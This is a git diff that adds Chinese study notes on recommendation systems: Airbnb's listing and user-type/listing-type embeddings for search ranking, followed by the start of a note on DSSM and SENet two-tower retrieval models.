+Airbnb 描述了两种 Embedding 的构建方法，分别为：
+
+- 用于描述短期实时性的个性化特征 Embedding：**listing Embeddings** 
+   - **listing 表示房源的意思，<u>它将贯穿全文，请务必了解</u>。**
+- 用于描述长期的个性化特征 Embedding：**user-type & listing type Embeddings**
+## Listing Embeddings
+Listing Embeddings 是基于用户的点击 session 学习得到的，用于表示房源的短期实时性特征。给定数据集 $ \mathcal{S} $ ，其中包含了 $ N $ 个用户的 $ S $ 个点击 session（序列）。
+
+- 每个 session $ s=\left(l_{1}, \ldots, l_{M}\right) \in \mathcal{S} $ ，包含了 $ M $ 个被用户点击过的 listing ids 。
+- 对于用户连续两次点击，若时间间隔超过了30分钟，则启动新的 session。
+
+在拿到多个用户点击的 session 后，可以基于 Word2Vec 的 Skip-Gram 模型来学习不同 listing 的 Embedding 表示。最大化目标函数 $ \mathcal{L} $ ：
+$$
+\mathcal{L}=\sum_{s \in \mathcal{S}} \sum_{l_{i} \in s}\left(\sum_{-m \geq j \leq m, i \neq 0} \log \mathbb{P}\left(l_{i+j} \mid l_{i}\right)\right)
+$$
+概率 $ \mathbb{P}\left(l_{i+j} \mid l_{i}\right) $ 是基于 soft-max 函数的表达式。表示在一个 session 中，已知中心 listing $ l_i $ 来预测上下文 listing $ l_{i+j} $ 的概率：
+$$
+\mathbb{P}\left(l_{i+j} \mid l_{i}\right)=\frac{\exp \left(\mathbf{v}_{l_{i}}^{\top} \mathbf{v}_{l_{i+j}}^{\prime}\right)}{\sum_{l=1}^{|\mathcal{V}|} \exp \left(\mathbf{v}_{l_{i}}^{\top} \mathbf{v}_{l}^{\prime}\right)}
+$$
+
+- 其中， $ \mathbf{v}_{l_{i}} $ 表示 listing $ l_i $ 的 Embedding 向量， $ |\mathcal{V}| $ 表示全部的物料库的数量。
+
+考虑到物料库 $ \mathcal{V} $ 过大，模型中参数更新的时间成本和 $ |\mathcal{V}| $ 成正比。为了降低计算复杂度，要进行负采样。负采样后，优化的目标函数如下：
+$$
+\underset{\theta}{\operatorname{argmax}} \sum_{(l, c) \in \mathcal{D}_{p}} \log \frac{1}{1+e^{-\mathbf{v}_{c}^{\prime^{\prime}} \mathbf{v}_{l}}}+\sum_{(l, c) \in \mathcal{D}_{n}} \log \frac{1}{1+e^{\mathbf{v}_{c}^{\prime} \mathbf{v}_{l}}}
+$$
+至此，对 Skip-Gram 模型和 NEG 了解的同学肯定很熟悉，上述方法和 Word2Vec 思想基本一致。
+下面，将进一步介绍 Airbnb 是如何改进 Listing Embedding 的学习以及其他方面的应用。
+**（1）正负样本集构建的改进**
+
+- 使用 booked listing 作为全局上下文
+   - booked listing 表示用户在 session 中最终预定的房源，一般只会出现在结束的 session 中。
+   - Airbnb 将最终预定的房源，始终作为滑窗的上下文，即全局上下文。如下图：
+     - 如图，对于当前滑动窗口的 central listing，实线箭头表示context listings，虚线（指向booked listing）表示 global context listing。
+
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片1653053823336-0564b2da-c993-46aa-9b22-f5cbb784dae2.png" alt="img" style="zoom:50%;" />
+
+   - booked listing 作为全局正样本，故优化的目标函数更新为：
+
+$$
+\underset{\theta}{\operatorname{argmax}} \sum_{(l, c) \in \mathcal{D}_{p}} \log \frac{1}{1+e^{-\mathbf{v}_{c}^{\prime^{\prime}} \mathbf{v}_{l}}}+\sum_{(l, c) \in \mathcal{D}_{n}} \log \frac{1}{1+e^{\mathbf{v}_{c}^{\prime} \mathbf{v}_{l}}} +
+\log \frac{1}{1+e^{-\mathbf{v}_{c}^{\prime} \mathbf{v}_{l_b}}}
+$$
+
+- 优化负样本的选择
+   - 用户通过在线网站预定房间时，通常只会在同一个 market （将要停留区域）内进行搜索。
+   
+   - 对于用户点击过的样本集 $ \mathcal{D}_{p} $ （正样本集）而言，它们大概率位于同一片区域。考虑到负样本集 $ \mathcal{D}_{n} $ 是随机抽取的，大概率来源不同的区域。
+   
+   - Airbnb 发现这种样本的不平衡，在学习同一片区域房源的 Embedding 时会得到次优解。
+   
+   - 解决办法也很简单，对于每个滑窗中的中心 lisitng，其负样本的选择新增了与其位于同一个 market 的 listing。至此，优化函数更新如下：
+     $$
+     \underset{\theta}{\operatorname{argmax}} \sum_{(l, c) \in \mathcal{D}_{p}} \log \frac{1}{1+e^{-\mathbf{v}_{c}^{\prime^{\prime}} \mathbf{v}_{l}}}+\sum_{(l, c) \in \mathcal{D}_{n}} \log \frac{1}{1+e^{\mathbf{v}_{c}^{\prime} \mathbf{v}_{l}}} +\log \frac{1}{1+e^{-\mathbf{v}_{c}^{\prime} \mathbf{v}_{l_b}}} + 
+     \sum_{(l, m_n ) \in \mathcal{D}_{m_n}} \log \frac{1}{1+e^{\mathbf{v}_{m_n}^{\prime} \mathbf{v}_{l}}}
+     $$
+   
+     +  $ \mathcal{D}_{m_n} $ 表示与滑窗中的中心 listing 位于同一区域的负样本集。
+
+**（2）Listing Embedding 的冷启动**
+
+- Airbnb 每天都有新的 listings 产生，而这些 listings 却没有 Embedding 向量表征。
+- Airbnb 建议利用其他 listing 的现有的 Embedding 来为新的 listing 创建 Embedding。
+   - 在新的 listing 被创建后，房主需要提供如位置、价格、类型等在内的信息。
+   - 然后利用房主提供的房源信息，为其查找3个相似的 listing，并将它们 Embedding 的均值作为新 listing 的 Embedding表示。
+   - 这里的相似，包含了位置最近（10英里半径内），房源类型相似，价格区间相近。
+- 通过该手段，Airbnb 可以解决 98% 以上的新 listing 的 Embedding 冷启动问题。
+
+**（3）Listing Embedding 的评估**
+经过上述的两点对 Embedding 的改进后，为了评估改进后 listing Embedding 的效果。
+
+- Airbnb 使用了800万的点击 session，并将 Embedding 的维度设为32。
+
+评估方法包括：
+
+- 评估 Embedding 是否包含 listing 的地理位置相似性。
+   - 理论上，同一区域的房源相似性应该更高，不同区域房源相似性更低。
+   - Airbnb 利用 k-means 聚类，将加利福尼亚州的房源聚成100个集群，来验证类似位置的房源是否聚集在一起。
+
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片1653056809526-15401069-6fff-40d8-ac5e-35871d3f254a.png" alt="img" style="zoom:50%;" />
+
+- 评估不同类型、价格区间的房源之间的相似性。
+   - 简而言之，我们希望类型相同、价格区间一致的房源它们之间的相似度更高。
+
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片1653056981037-18edee91-493a-4d5b-b066-57f0b200032d.png" alt="img" style="zoom:50%;" />
+
+- 评估房源的隐式特征
+   - Airbnb 在训练房源（listing）的 Embedding时，并没有用到房源的图像信息。
+      - 对于一些隐式信息，例如架构、风格、观感等是无法直接学习。
+   - 为了验证基于 Word2Vec 学习到的 Embedding是否隐含了它们在外观等隐式信息上的相似性，Airbnb 内部开发了一款内部相似性探索工具。
+      - 大致原理就是，利用训练好的 Embedding 进行 K 近邻相似度检索。
+      - 如下，与查询房源在 Embedding 相似性高的其他房源，它们之间的外观风格也很相似。
+
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片1653057336798-fd8451cb-84b6-40fb-8733-1e3d08a39793.png" alt="img"  />
+
+## User-type & Listing-type Embedding
+
+前面提到的 Listing Embedding，它是基于用户的点击 sessions 学习得到的。
+
+- 同一个 session 内的点击时间间隔低于30分钟，所以**它们更适合短期，session 内的个性化需求**。
+- 在用户搜索 session 期间，该方法有利于向用户展示与点击过的 listing 更相似的其他 listings 。
+
+Airbnb 除了挖掘 Listing 的短期兴趣特征表示外，还对 User 和 Listing 的长期兴趣特征表示进行了探索。长期兴趣的探索是有利于 Airbnb 的业务发展。例如，用户当前在洛杉矶进行搜索，并且过去在纽约和伦敦预定过其他房源。那么，向用户推荐与之前预定过的 listing 相似的 listings 是更合适的。
+
+- 长期兴趣的探索是基于 booking session（用户的历史预定序列）。
+- 与前面 Listing Embedding 的学习类似，Airbnb 希望借助了 Skip-Gram 模型学习不同房源的 Embedding 表示。
+
+但是，面临着如下的挑战：
+
+- booking sessions $ \mathcal{S}_{b} $ 数据量的大小远远小于 click sessions $ \mathcal{S} $ ，因为预定本身就是一件低频率事件。
+- 许多用户过去只预定了单个数量的房源，无法从长度为1的 session 中学习 Embedding
+- 对于任何实体，要基于 context 学习到有意义的 Embedding，该实体至少在数据中出现5-10次。
+   - 但平台上大多数 listing_ids 被预定的次数低于5-10次。
+- 用户连续两次预定的时间间隔可能较长，在此期间用户的行为（如价格敏感点）偏好可能会发生改变（由于职业的变化）。
+
+为了解决该问题，Airbnb 提出了基于 booking session 来学习用户和房源的 Type Embedding。给定一个 booking sessions 集合 $ \mathcal{S}_{b} $ ，其中包含了 $ M $ 个用户的 booking session：
+
+- 每个 booking session 表示为： $ s_{b}=\left(l_{b 1}, \ldots, l_{b M}\right) $ 
+- 这里 $ l_{b1} $ 表示 listing_id，学习到 Embedding 记作 $ \mathbf{v}_{l_{i d}} $ 
+
+**（1）什么是Type Embedding ？**
+在介绍 Type Embedding 之前，回顾一下 Listing Embedding：
+
+- 在 Listing Embedding 的学习中，只学习房源的 Embedding 表示，未学习用户的 Embedding。
+- 对于 Listing Embedding，与相应的 Lisitng ID 是一一对应的， 每个 Listing 它们的 Embedding 表示是唯一的。
+
+对于 Type Embedding ，有如下的区别：
+
+- 对于不同的 Listing，它们的 Type Embedding **可能是相同的**（User 同样如此）。
+- Type Embedding 包含了 User-type Embedding 和 Listing-type Embedding。
+
+为了更直接快速地了解什么是 Listing-type 和 User-type，举个简单的例子：
+
+- 小王，是一名西藏人，性别男，今年21岁，就读于中国山东的蓝翔技校的挖掘机专业。
+- 通常，对于不同的用户（如小王），给定一个 ID 编码，然后学习相应的 User Embedding。
+   - 但前面说了，用户数据过于稀疏，学习到的 User Embedding 特征表达能力不好。
+- 另一种方式：利用小王身上的用户标签，先组合出他的 User-type，然后学习 Embedding 表示。
+   - 小王的 User-type：西藏人_男_学生_21岁_位置中国山东_南翔技校_挖掘机专业。
+   - 组合得到的 User-type 本质上可视为一个 Category 特征，然后学习其对应的 Embedding 表示。
+
+下表给出了原文中，Listing-type 和 User-type 包含的属性及属性的值：
+
+- 所有的属性，都基于一定的规则进行了分桶（buckets）。例如21岁，被分桶到 20-30 岁的区间。
+- 对于首次预定的用户，他的属性为 buckets 的前5行，因为预定之前没有历史预定相关的信息。
+
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片1653125260611-7d33731b-9167-4fcc-b83b-0a2407ea89ca.png" alt="img" style="zoom: 67%;" />
+
+看到过前面那个简单的例子后，现在可以看一个原文的 Listing-type 的例子：
+
+- 一个来自 US 的 Entire Home listing（lt1），它是一个二人间（c2），1 床（b1），一个卧室（bd2），1 个浴室（bt2），每晚平均价格为 60.8 美元（pn3），每晚每个客人的平均价格为 29.3 美元（pg3），5 个评价（r3），所有均 5 星好评（5s4），100% 的新客接受率（nu3）。
+- 因此该 listing 根据上表规则可以映射为：Listing-type = US_lt1_pn3_pg3_r3_5s4_c2_b1_bd2_bt2_nu3。
+
+**（2）Type Embedding 的好处**
+前面在介绍 Type Embedding 和 Listing Embedding 的区别时，提到过不同 User 或 Listing 他们的 Type 可能相同。
+
+- 故 User-type 和 Listing-type 在一定程度上可以缓解数据稀疏性的问题。
+- 对于 user 和 listing 而言，他们的属性可能会随着时间的推移而变化。
+   - 故它们的 Embedding 在时间上也具备了动态变化属性。
+
+**（3）Type Embedding 的训练过程**
+Type Embedding 的学习同样是基于 Skip-Gram 模型，但是有两点需要注意：
+
+- 联合训练 User-type Embedding 和 Listing-type Embedding
+   - 如下图（a），在 booking session 中，每个元素代表的是 （User-type, Listing-type）组合。
+      - 为了学习在相同向量空间中的 User-type 和 Listing-type 的 Embeddings，Airbnb 的做法是将 User-type 插入到 booking sessions 中。
+      - 形成一个（User-type, Listing-type）组成的元组序列，这样就可以让 User-type 和 Listing-type 的在 session 中的相对位置保持一致了。
+      
+   - User-type 的目标函数：
+      $$
+      \underset{\theta}{\operatorname{argmax}} \sum_{\left(u_{t}, c\right) \in \mathcal{D}_{b o o k}} \log \frac{1}{1+e^{-\mathbf{v}_{c}^{\prime} \mathbf{v}_{u_{t}}}}+\sum_{\left(u_{t}, c\right) \in \mathcal{D}_{n e g}} \log \frac{1}{1+e^{\mathbf{v}_{c}^{\prime} \mathbf{v}_{u_{t}}}}
+      $$
+   
+      +  $ \mathcal{D}_{\text {book }} $ 中的 $ u_t $ （中心词）表示 User-type， $ c $ （上下文）表示用户最近的预定过的 Listing-type。 $ \mathcal{D}_{\text {neg}} $ 中的 $ c $ 表示 negative Listing-type。
+      +  $ u_t $ 表示 User-type 的 Embedding， $ \mathbf{v}_{c}^{\prime} $ 表示 Listing-type 的Embedding。
+
+   - Listing-type 的目标函数：
+     $$
+     \begin{aligned}
+     \underset{\theta}{\operatorname{argmax}} & \sum_{\left(l_{t}, c\right) \in \mathcal{D}_{b o o k}} \log \frac{1}{1+\exp ^{-\mathrm{v}_{c}^{\prime} \mathbf{v}_{l_{t}}}}+\sum_{\left(l_{t}, c\right) \in \mathcal{D}_{n e g}} \log \frac{1}{1+\exp ^{\mathrm{v}_{c}^{\prime} \mathbf{v}_{l_{t}}}} \\
+     \end{aligned}
+     $$
+
+     + 同理，不过窗口中的中心词为 Listing-type， 上下文为 User-type。
+
+- Explicit Negatives for Rejections
+   - 用户预定房源以后，还要等待房源主人的确认，主人可能接受或者拒绝客人的预定。
+      - 拒接的原因可能包括，客人星级评定不佳，资料不完整等。
+      
+   - 前面学习到的 User-type Embedding 包含了客人的兴趣偏好，Listing-type Embedding 包含了房源的属性特征。
+      - 但是，用户的 Embedding 未包含更容易被哪类房源主人拒绝的潜语义信息。
+      - 房源的 Embedding 未包含主人对哪类客人的拒绝偏好。
+      
+   - 为了提高用户预定房源以后，被主人接受的概率。同时，降低房源主人拒绝客人的概率。Airbnb 在训练 User-type 和 Listing-type 的 Embedding时，将用户预定后却被拒绝的样本加入负样本集中（如下图b）。
+      - 更新后，Listing-type 的目标函数：
+        $$
+        \begin{aligned}
+        \underset{\theta}{\operatorname{argmax}} & \sum_{\left(u_{t}, c\right) \in \mathcal{D}_{b o o k}} \log \frac{1}{1+\exp ^{-\mathbf{v}_{c}^{\prime} \mathbf{v}_{u_{t}}}}+\sum_{\left(u_{t}, c\right) \in \mathcal{D}_{n e g}} \log \frac{1}{1+\exp ^{\mathbf{v}_{c}^{\prime} \mathbf{v}_{u_{t}}}} \\
+        &+\sum_{\left(u_{t}, l_{t}\right) \in \mathcal{D}_{\text {reject }}} \log \frac{1}{1+\exp ^{\mathrm{v}_{{l_{t}}}^{\prime} \mathrm{v}_{u_{t}}}} 
+        \end{aligned}
+        $$
+      
+      - 更新后，User-type 的目标函数：
+        $$
+        \begin{aligned}
+        \underset{\theta}{\operatorname{argmax}} & \sum_{\left(l_{t}, c\right) \in \mathcal{D}_{b o o k}} \log \frac{1}{1+\exp ^{-\mathrm{v}_{c}^{\prime} \mathbf{v}_{l_{t}}}}+\sum_{\left(l_{t}, c\right) \in \mathcal{D}_{n e g}} \log \frac{1}{1+\exp ^{\mathrm{v}_{c}^{\prime} \mathbf{v}_{l_{t}}}} \\
+        &+\sum_{\left(l_{t}, u_{t}\right) \in \mathcal{D}_{\text {reject }}} \log \frac{1}{1+\exp ^{\mathrm{v}^{\prime}_{u_{t}} \mathrm{v}_{l_{t}}}}
+        \end{aligned}
+        $$
+
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片1653131985447-e033cb39-235b-4f46-9634-3b7faec284be.png" alt="img" style="zoom:50%;" />
+
+# 实验部分
+
+前面介绍了两种 Embedding 的生成方法，分别为 Listing Embedding 和 User-type & Listing-type Embedding。本节的实验部分，将会介绍它们是如何被使用的。回顾 Airbnb 的业务背景，当用户查看一个房源时，他们有两种方式继续搜索：返回搜索结果页，或者查看房源详情页的「相似房源」。
+## 相似房源检索
+在给定学习到的 Listing Embedding，通过计算其向量 $ v_l $ 和来自同一区域的所有 Listing 的向量 $ v_j $ 之间的余弦相似度，可以找到给定房源 $ l $ 的相似房源。
+
+- 这些相似房源可在同一日期被预定（如果入住-离开时间已确定）。
+- 相似度最高的 $ K $ 个房源被检索为相似房源。 
+- 计算是在线执行的，并使用我们的分片架构并行进行，其中部分 Embedding 存储在每个搜索机器上。
+
+A/B 测试显示，基于 Embedding 的解决方案使「相似房源」点击率增加了21％，最终通过「相似房源」产生的预订增加了 4.9％。
+
+## 实时个性化搜索排名
+Airbnb 的搜索排名的大致流程为：
+
+- 给定查询 $ q $ ，返回 $ K $ 条搜索结果。
+- 基于排序模型 GBDT，对预测结果进行排序。
+- 将排序后的结果展示给用户。
+
+**（1）Query Embedding**
+原文中似乎并没有详细介绍 Airbnb 的搜索技术，在参考的博客中对他们的 Query Embedding 技术进行了描述。如下：
+
+> Airbnb 对搜索的 Query 也进行了 Embedding，和普通搜索引擎的 Embedding 不太相同的是，这里的 Embedding 不是用自然语言中的语料库去训练的，而是用 Search Session 作为关系训练数据，训练方式更类似于 Item2Vec，Airbnb 中 Queue Embedding 的一个很重要的作用是捕获用户模糊查询与相关目的地的关联，这样做的好处是可以使搜索结果不再仅仅是简单地进行关键字匹配，而是通过更深层次的语义和关系来找到关联信息。比如下图所示的使用 Query Embedding 之前和之后的两个示例（Airbnb 非常人性化地在搜索栏的添加了自动补全，通过算法去 “猜想” 用户的真实目的，大大提高了用户的检索体验）
+
+**（2）特征构建**
+对于各查询，给定的训练数据形式为： $ D_s = \left(\mathbf{x}_{i}, y_{i}\right), i=1 \ldots K $ ，其中 $ K $ 表示查询返回的房源数量。
+
+-  $ \mathbf{x}_{i} $ 表示第 $ i $ 个房源结果的 vector containing features：
+   - 由 listing features，user features，query features 以及 cross-features 组成。
+-  $ y_{i} \in\{0,0.01,0.25,1,-0.4\} $ 表示第 $ i $ 个结果的标签。
+   -  $ y_i=1 $ 表示用户预定了房源，...， $ y_i=-0.4 $ 表示房主拒绝了用户。
+
+下面，介绍 Airbnb 是如何利用前面的两种种 Embedding 进行特征构建的。
+
+- 如果用一句话来概括，这些基于 Embedding 的构建特征均为余弦相似度。
+- 新构建的特征均为样本 $ \mathbf{x}_{i} $ 特征的一部分。
+
+构建的特征如下表所示：
+
+- 表中的 Embedding Features 包含了8种类型，前6种类型的特征计算方式相同。
+
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片1653139981920-a100085b-007b-4a9c-9edf-74297e9115ae.png" alt="img" style="zoom:50%;" />
+
+**① 基于 Listing Embedding Features 的特征构建**
+
+- Airbnb 保留了用户过去两周6种不同类型的历史行为，如下图：
+
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片1653140202230-1f49e1dd-5c8c-4445-bd0b-9a17788a7b3f.png" alt="img" style="zoom:50%;" />
+
+- 对于每个行为，还要将其按照 market （地域）进行划分。以 $ H_c $ 为例：
+
+   - 假如 $ H_c $ 包含了 New YorK 和 Los Angeles 两个 market 的点击记录，则划分为 $ H_c(NY) $ 和 $ H_c(LA) $ 。
+
+   -  计算候选房源和不同行为之间的相似度。
+      - 上述6种行为对应的相似度特征计算方式是相同的，以 $ H_c $ 为例：
+        $$
+        \operatorname{EmbClickSim}\left(l_{i}, H_{c}\right)=\max _{m \in M} \cos \left(\mathbf{v}_{l_{i}}, \sum_{l_{h} \in m, l_{h} \in H_{c}} \mathbf{v}_{l_{h}}\right)
+        $$
+      
+      - 其中， $ M $ 表示 market 的集合。第二项实际上为 Centroid Embedding（Embedding 的均值）。
+
+- 除此之外，Airbnb 还计算了候选房源的 Embedding 与 latest long click 的 Embedding 之间的余弦相似度。
+   $$
+   \operatorname{EmbLastLongClickSim }\left(l_{i}, H_{l c}\right)=\cos \left(\mathbf{v}_{l_{i}}, \mathbf{v}_{l_{\text {last }}}\right)
+   $$
+
+**② 基于 User-type & Listing-type Embedding Features 的特征构建**
+
+- 对于候选房源 $ l_i $ ，先查到其对应的 Listing-type $ l_t $ ，再找到用户的 User-type $ u_t $ 。
+
+- 最后，计算 $ u_t $ 与 $ l_t $ 对应的 Embedding 之间的余弦相似度：
+  $$
+  \text { UserTypeListingTypeSim }\left(u_{t}, l_{t}\right)=\cos \left(\mathbf{v}_{u_{t}}, \mathbf{v}_{l_{t}}\right)
+  $$
+
+为了验证上述特征的构建是否有效，Airbnb 还做了特征重要性排序，如下表：
+
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片1653142188111-1975bcc4-22a2-45cf-bff0-2783ecb00a0c.png" alt="img" style="zoom:50%;" />
+
+**（3)模型**
+特征构建完成后，开始对模型进行训练。
+
+- Airbnb 在搜索排名中使用的是 GBDT 模型，该模型是一个回归模型。
+- 模型的训练数据包括数据集 $ \mathcal{D} $ 和 search labels 。
+
+最后，利用 GBDT 模型来预测线上各搜索房源的在线分数。得到预测分数后，将按照降序的方式展现给用户。
+# 参考链接
+
++ [Embedding 在大厂推荐场景中的工程化实践 - 卢明冬的博客 (lumingdong.cn)](https://lumingdong.cn/engineering-practice-of-embedding-in-recommendation-scenario.html#Airbnb)
+
++ [KDD'2018 Best Paper-Embedding技术在Airbnb实时搜索排序中的应用 (qq.com)](https://mp.weixin.qq.com/s/f9IshxX29sWg9NhSa7CaNg)
+
++ [再评Airbnb的经典Embedding论文 - 知乎 (zhihu.com)](https://zhuanlan.zhihu.com/p/162163054)
+
++ [Airbnb爱彼迎房源排序中的嵌入(Embedding)技术 - 知乎 (zhihu.com)](https://zhuanlan.zhihu.com/p/43295545)
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.1/ch2.1.2/DSSM.md b/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.1/ch2.1.2/DSSM.md
new file mode 100644
index 0000000..b184894
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.1/ch2.1.2/DSSM.md
@@ -0,0 +1,629 @@
+#  双塔召回模型
+
+---
+
+双塔模型在推荐领域中是一个十分经典的模型，无论是在召回还是粗排阶段，都会是首选。这主要是得益于双塔模型结构，使得能够在线预估时满足低延时的要求。但也是因为其模型结构的问题，使得无法考虑到user和item特之间的特征交叉，使得影响模型最终效果，因此很多工作尝试调整经典双塔模型结构，在保持在线预估低延时的同时，保证双塔两侧之间有效的信息交叉。下面针对于经典双塔模型以及一些改进版本进行介绍。
+
+
+
+## 经典双塔模型
+
+DSSM(Deep Structured Semantic Model)是由微软研究院于CIKM在2013年提出的一篇工作，该模型主要用来解决NLP领域语义相似度任务 ，利用深度神经网络将文本表示为低维度的向量，用来提升搜索场景下文档和query匹配的问题。DSSM 模型的原理主要是：通过用户搜索行为中query 和 doc 的日志数据，通过深度学习网络将query和doc映射到到共同维度的语义空间中，通过最大化query和doc语义向量之 间的余弦相似度，从而训练得到隐含语义模型，即 query 侧特征的 embedding 和 doc 侧特征的 embedding，进而可以获取语句的低维 语义向量表达 sentence embedding，可以预测两句话的语义相似度。模型结构如下所示：
+
+<div align=center>
+    <img src="https://pic4.zhimg.com/v2-7f75cc71f5e959d6efa95289d2f5ac13_r.jpg" style="zoom:45%;"/>
+</div>
+
+
+从上图可以看出，该网络结构比较简单，是一个由几层DNN组成网络，我们将要搜索文本(Query)和要匹配的文本(Document)的 embedding 输入到网络，网络输出为 128 维的向量，然后通过向量之间计算余弦相似度来计算向量之间距离，可以看作每一个 query 和 document 之间相似分数，然后在做 softmax。
+
+
+
+而在推荐系统中，最为关键的问题是如何做好用户与item的匹配问题，因此对于推荐系统中DSSM模型的则是为 user 和 item 分别构建独立的子网络塔式结构，利用user和item的曝光或点击日期进行训练，最终得到user侧的embedding和item侧的embedding。因此在推荐系统中，常见的模型结构如下所示：
+
+<div align=center>
+    <img src="https://cdn.jsdelivr.net/gh/swallown1/blogimages@main/images/image-20220522103456450.png" style="zoom:60%;"/>
+</div>
+
+从模型结构上来看，主要包括两个部分：user侧塔和item侧塔，对于每个塔分别是一个DNN结构。通过两侧的特征输入，通过DNN模块到user和item的embedding，然后计算两者之间的相似度(常用內积或者余弦值，下面会说这两种方式的联系和区别)，因此对于user和item两侧最终得到的embedding维度需要保持一致，即最后一层全连接层隐藏单元个数相同。
+
+
+
+在召回模型中，将这种检索行为视为多类分类问题，类似于YouTubeDNN模型。将物料库中所有的item视为一个类别，因此损失函数需要计算每个类的概率值：
+
+<div align=center>
+    <img src="https://cdn.jsdelivr.net/gh/swallown1/blogimages@main/images/image-20220522110742879.png" style="zoom:60%;"/>
+</div>
+
+其中$s(x,y)$表示两个向量的相似度，$P(y|x;\theta)$表示预测类别的概率，$M$表示物料库所有的item。但是在实际场景中，由于物料库中的item数量巨大，在计算上式时会十分的耗时，因此会采样一定的数量的负样本来近似计算，后面针对负样本的采样做一些简单介绍。
+
+
+
+以上就是推荐系统中经典的双塔模型，之所以在实际应用中非常常见，是因为**在海量的候选数据进行召回的场景下，速度很快，效果说不上极端好，但一般而言效果也够用了**。之所以双塔模型在服务时速度很快，是因为模型结构简单(两侧没有特征交叉)，但这也带来了问题，双塔的结构无法考虑两侧特征之间的交互信息，**在一定程度上牺牲掉模型的部分精准性**。例如在精排模型中，来自user侧和item侧的特征会在第一层NLP层就可以做细粒度的特征交互，而对于双塔模型，user侧和item侧的特征只会在最后的內积计算时发生，这就导致很多有用的信息在经过DNN结构时就已经被其他特征所模糊了，因此双塔结构由于其结构问题先天就会存在这样的问题。下面针对这个问题来看看一下现有模型的解决思路。
+
+
+
+## SENet双塔模型
+
+SENet由Momenta在2017年提出，当时是一种应用于图像处理的新型网络结构。后来张俊林大佬将SENet引入了精排模型[FiBiNET](https://arxiv.org/abs/1905.09433)中，其作用是为了将大量长尾的低频特征抛弃，弱化不靠谱低频特征embedding的负面影响，强化高频特征的重要作用。那SENet结构到底是怎么样的呢，为什么可以起到特征筛选的作用？
+
+<div align=center>
+    <img src="https://camo.githubusercontent.com/ccf54fc4fcac46667d451f22368e31cf86855bc8bfbff40b7675d524bc899ecf/68747470733a2f2f696d672d626c6f672e6373646e696d672e636e2f32303231303730333136313830373133392e706e673f782d6f73732d70726f636573733d696d6167652f77617465726d61726b2c747970655f5a6d46755a33706f5a57356e6147567064476b2c736861646f775f31302c746578745f6148523063484d364c7939696247396e4c6d4e7a5a473475626d56304c336431656d6876626d6478615746755a773d3d2c73697a655f312c636f6c6f725f4646464646462c745f3730237069635f63656e746572" style="zoom:80%;"/>
+</div>
+
+从上图可以看出SENET主要分为三个步骤Squeeze, Excitation, Re-weight：
+
+- Squeeze阶段：我们对每个特征的Embedding向量进行数据压缩与信息汇总，即在Embedding维度计算均值：
+
+  ​                                                                  $$z_i = F_{sq}(e_i) = \frac{1}{k} \sum_{t=1}^k e_i^{(t)}$$
+
+  其中k表示Embedding的维度，Squeeze阶段是将每个特征的Squeeze转换成单一的数值。
+
+- Excitation阶段：这阶段是根据上一阶段得到的向量进行缩放，即将上阶段的得到的 $1 \times f$ 的向量$Z$先压缩成 $1 \times \frac{f}{r}$ 长度，然后在放回到  $1 \times f$ 的维度，其中$r$表示压缩的程度。这个过程的具体操作就是经过两层DNN。
+
+  ​                                                                  $$A = F_{ex}(Z) = \sigma_2(W_2\sigma_1(W_1Z)) $$
+
+  该过程可以理解为：对于当前所有输入的特征，通过相互发生关联，来动态地判断哪些特征重要，哪些特征不重要，而这体现在Excitation阶段的输出结果 $A$，其反应每个特征对应的重要性权重。
+
+- Re-weight阶段：是将Excitation阶段得到的每个特征对应的权重 $A$ 再乘回到特征对应的Embedding里，就完成了对特征重要性的加权操作。
+
+​																		$$V=F_{ReWeight }(A,E)=[a_1 \cdot e_1,⋯,a_f \cdot e_f]=[v_1,⋯,v_f]$$
+
+以上简单的介绍了一下SENet结构，可以发现这种结构可以通过对特征embedding先压缩，再交互，再选择，进而实现特征选择的效果。
+
+
+
+此外张俊林大佬还将SENet应用于双塔模型中[(SENet双塔模型：在推荐领域召回粗排的应用及其它)](https://zhuanlan.zhihu.com/p/358779957)，模型结构如下所示：
+
+<div align=center>
+    <img src="https://cdn.jsdelivr.net/gh/swallown1/blogimages@main/images/image-20220522152508824.png" style="zoom:70%;"/>
+</div>
+
+从上图可以发现，具体地是将双塔中的user塔和Item侧塔的特征输入部分加上一个SENet模块，通过SENet网络，动态地学习这些特征的重要性，通过小权重抑制噪音或者无效低频特征，通过大权重放大重要特征影响的目的。
+
+
+
+之所以SENet双塔模型是有效的呢？张俊林老师的解释是：双塔模型的问题在于User侧特征和Item侧特征交互太晚，在高层交互，会造成细节信息，也就是具体特征信息的损失，影响两侧特征交叉的效果。而SENet模块在最底层就进行了特征的过滤，使得很多无效低频特征即使被过滤掉，这样更多有用的信息被保留到了双塔的最高层，使得两侧的交叉效果很好；同时由于SENet模块选择出更加重要的信息，使得User侧和Item侧特征之间的交互表达方面增强了DNN双塔的能力。
+
+
+
+因此SENet双塔模型主要是从特征选择的角度，提高了两侧特征交叉的有效性，减少了噪音对有效信息的干扰，进而提高了双塔模型的效果。此外，除了这样的方式，还可以通过增加通道的方式来增强两侧的信息交互。即对于user和item两侧不仅仅使用一个DNN结构，而是可以通过不同结构(如FM，DCN等)来建模user和item的自身特征交叉，例如下图所示：
+
+<div align=center>
+    <img src="https://cdn.jsdelivr.net/gh/swallown1/blogimages@main/images/v2-9c2f7a30c6cadc47be23d6797f095b61_b.jpg" style="zoom:80%;"/>
+</div>
+
+
+ 这样对于user和item侧会得到多个embedding，类似于多兴趣的概念。通过得到的多个user和item的embedding，然后分别计算余弦值再相加(两侧的Embedding维度需要对齐)，进而增加了双塔两侧的信息交互。而这种方法在腾讯进行过尝试，他们提出的“并联”双塔就是按照这样的思路，感兴趣的可以了解一下。
+
+
+
+## 多目标的双塔模型
+
